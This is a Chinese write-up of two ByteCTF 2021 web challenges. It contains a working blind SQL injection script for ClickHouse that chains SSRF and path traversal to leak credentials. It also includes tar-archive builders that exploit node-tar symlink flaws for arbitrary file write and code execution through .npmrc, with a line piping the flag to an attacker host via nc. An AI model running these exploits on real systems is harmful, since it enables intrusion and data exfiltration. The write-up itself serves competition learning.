ByteCTF 2021 Web WriteUp
一点感想
不愧是字节
比赛题目的质量还是很高的
相比平时打的很多其他比赛更能让人有去解题的欲望
虽然很难但是打得很开心
最后只做出来 double sqli
和 easy_extract
Web
double sqli
通过报错知道是个叫 ClickHouse 的 DBMS
语句是
SELECT ByteCTF from hello where 1=1
没有任何过滤,通过布尔盲注可以得到数据库内的数据
database: default
table: hello
column: ByteCTF
data: Welcome to ByteCTF
database: ctf
table: hint
column: id
data: you_dont_have_permissions_to_read_flag
ClickHouse version:21.3.2.5
database user: user_02
一开始以为是 CVE-2021-25263
但没有读文件的权限
从 user_02
的用户名猜测应该有一个 user_01
用户user_01
用户应该有 user_02
用户所没有的权限,可以看到一些对 user_02
用户隐藏的表
ClickHouse 是通过 HTTP 协议来连接/管理数据库的
可以通过 URL
函数 ssrf 执行 ClickHouse HTTP 客户端的查询
SELECT field FROM url('http://127.0.0.1:8123/?username=user_02=password=123456&query=SELECT 1','LineAsString','field String')
但是没有账号密码
在 Web 应用的 /files/
目录有文件浏览,尝试进行目录穿越
发现了任意文件读
http://39.105.116.246:30001/files../
http://39.105.116.246:30001/files../var/lib/clickhouse/access/users.list
http://39.105.116.246:30001/files../var/lib/clickhouse/access/a2492bae-77c4-e443-4fce-c04e47cd43a1.sql
a2492bae-77c4-e443-4fce-c04e47cd43a1.sql
文件内容如下
ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb'; ATTACH GRANT SELECT ON ctf.* TO user_01;
得到 user_01
的明文密码user_01:e3b0c44298fc1c149afb
有 ctf
库的全部权限
构造请求
select name from system.tables
target = "field"
target_table = "url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bname%2bfrom%2bsystem.tables%27,%27LineAsString%27,%27field%20String%27)"
得到 ctf
库中存在两张表,hint
和 flag
表,然后继续得到 flag
表列名 flag
最后得到 flag
select flag from ctf.flag
target = "field"
target_table = "url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bflag%2bfrom%2bctf.flag%27,%27LineAsString%27,%27field%20String%27)"
exp
import requests
import string
url_tpl = "http://39.105.116.246:30001/?id=1 and if({query},1,0)"
query_tpl_count = "count({target})"
query_tpl_length = "char_length(toString({target}))"
query_tpl_data = "(select mid(toString({target}),{offset},1) from {table} limit 1 offset {toffset})='{arg}'"
# target = "DATABASE()"
# target_table = "system.databases"
# target = "cluster"
# target_table = "system.clusters"
# target = "name"
# target_table = "system.dictionaries"
# target = "field"
# target_table = "url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bname%2bfrom%2bsystem.tables%27,%27LineAsString%27,%27field%20String%27)"
target = "field"
target_table = "url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2bflag%2bfrom%2bctf.flag%27,%27LineAsString%27,%27field%20String%27)"
ascii_space = string.printable
def getCnt():
result = ""
offset = 1
while True:
flag = True
query_target = query_tpl_count.format(target=target)
for c in string.digits:
query = query_tpl_data.format(target=query_target, offset=offset, arg=c, table=target_table, toffset=0)
url = url_tpl.format(query=query)
# print(url)
res = requests.get(url)
if "Welcome to ByteCTF" in res.text:
# print(query)
result += c
print(result)
flag = False
break
offset += 1
if flag:
break
return int(result)
def getDataLen(cnt):
toffset = 0
for _ in range(cnt):
result = ""
offset = 1
while True:
flag = True
query_target = query_tpl_length.format(target=target)
for c in string.digits:
query = query_tpl_data.format(target=query_target, offset=offset, arg=c, table=target_table, toffset=toffset)
url = url_tpl.format(query=query)
# print(query)
res = requests.get(url)
if "Welcome to ByteCTF" in res.text:
result += c
print(result)
flag = False
break
offset += 1
if flag:
getData(int(toffset))
break
toffset += 1
def getData(toffset):
result = ""
offset = 1
while True:
flag = True
for c in ascii_space:
query = query_tpl_data.format(target=target, offset=offset, arg=c, table=target_table, toffset=toffset).replace('\\', '\\\\')
url = url_tpl.format(query=query)
# print(query)
res = requests.get(url)
if "Welcome to ByteCTF" in res.text:
result += c
print(result)
flag = False
break
offset += 1
if flag:
break
cnt = getCnt()
getDataLen(cnt)
# getData()
easy_extract
查看 http 返回头,发现是个 nodejs 写的应用,用户上传 tar 压缩文件,后端解压后将压缩包里的文件名返回给前端。
访问 /robots.txt
,发现有个 Dockerfile,内容为:
FROM node:current-alpine
ENV NODE_ENV=production
WORKDIR /app
ARG CHALL_FLAG
ENV CHALL_FLAG $CHALL_FLAG
RUN apk update && apk add bash musl-dev gcc
COPY ["package.json", "./"]
RUN npm install -g nodemon --registry=https://registry.npm.taobao.org && \
npm install --production --registry=https://registry.npm.taobao.org
COPY . .
RUN echo $CHALL_FLAG > /flag && chmod 0600 /flag && gcc readflag.c -o /readflag && chmod u+s /readflag && \
mkdir /app/data && chmod -R 755 /app && chown -R node /app/data
USER node
CMD ["nodemon", "--exec", "npm start"]
2021 8月 nodejs tar 的两个 cve
https://portswigger.net/daily-swig/node-js-archives-serious-tar-handling-vulnerabilities-with-software-update
解压出来的文件默认是保存在 /app/data
里的,通过软链接与特殊名字的文件夹实现任意文件写
tar 里允许打包软链接,这里打包一个指向根目录的软链接
ln -s / ./111
tar -zcvf asd.tar ./111
上传 asd.tar
, 页面返回结果
done. files:
111
111/app
111/bin
111/dev
111/etc
111/flag
...
111/readflag
...
111/home/node
...
由此可以覆盖 /app/data
外的东西,覆盖任意文件,这里写入了 /tmp/1
import tarfile
import os.path
from tarfile import TarInfo, SYMTYPE,REGTYPE,LNKTYPE,DIRTYPE
tarinfo1 = TarInfo()
tarinfo1.type= DIRTYPE
tarinfo1.name = "foo/1"
tarinfo3 = TarInfo()
tarinfo3.type= SYMTYPE
tarinfo3.name = "foo\\1"
tarinfo3.linkname = "/tmp"
tarinfo2 = TarInfo()
tarinfo2.type= LNKTYPE
tarinfo2.name = "foo\\1/1"
tarinfo2.linkname = "/app/data/123"
tar4 = TarInfo()
tar4.type = REGTYPE
tar4.name='123'
def make_tarfile(output_filename, ):
with tarfile.open(output_filename, "w:gz") as tar:
tar.addfile(tar4, open('test'))
tar.addfile(tarinfo1,'test')
tar.addfile(tarinfo3, 'test')
tar.addfile(tarinfo2)
make_tarfile("a.tar")
从 Dockerfile 里得知,应用以 node 用户身份运行,只能修改 /app/data
和 /home/node
文件夹下的东西。
nodemon 默认配置检测了 .*/**/*.js
和 ./**/*.json
,当发生修改或有新文件创建的时候会重启,再次运行npm start 的时候,会加载当前用户下目录下的 .npmrc
,可以向 .npmrc
注入一些选项。查阅 npm 的文档,script-shell 指定了执行 npm scripts 的 shell,默认 Windows上为 cmd.exe
,posix 上为 bash
,通过修改 script-shell 选项来在 nodemon 重启的时候执行我们想要的脚本。
传一个 xxx.sh
上去
#!/bin/sh
/readflag | nc vps_ip vps_port
vps 上 起一个 nc 监听 tcp 连接.npmrc
内容
script-shell = /app/data/xxx.sh
生成 tar 文件:
import tarfile
import os.path
from tarfile import TarInfo, SYMTYPE,REGTYPE,LNKTYPE,DIRTYPE,AREGTYPE
tarinfo1 = TarInfo()
tarinfo1.type= DIRTYPE
tarinfo1.name = "ao/1"
tarinfo11 = TarInfo()
tarinfo11.type= DIRTYPE
tarinfo11.name = "ao/2"
tarinfo3 = TarInfo()
tarinfo3.type= SYMTYPE
tarinfo3.name = "ao\\1"
tarinfo3.linkname = "/home/node"
tarinfo31 = TarInfo()
tarinfo31.type= SYMTYPE
tarinfo31.name = "ao\\2"
tarinfo31.linkname = "/"
tarinfo2 = TarInfo()
tarinfo2.type= LNKTYPE
tarinfo2.name = "ao\\1/.npmrc"
tarinfo2.linkname = "/app/data/app.js"
def make_tarfile(output_filename, ):
with tarfile.open(output_filename, "w:gz") as tar:
tar.add('npmrc', recursive=False,arcname="app.js")
tar.add("xxx.sh",recursive=False,arcname="xxx.sh")
tar.addfile(tarinfo1)
tar.addfile(tarinfo11)
tar.addfile(tarinfo3)
tar.addfile(tarinfo31)
tar.addfile(tarinfo2)
make_tarfile("b.tar")
上传 b.tar
,vps 上可看到 flag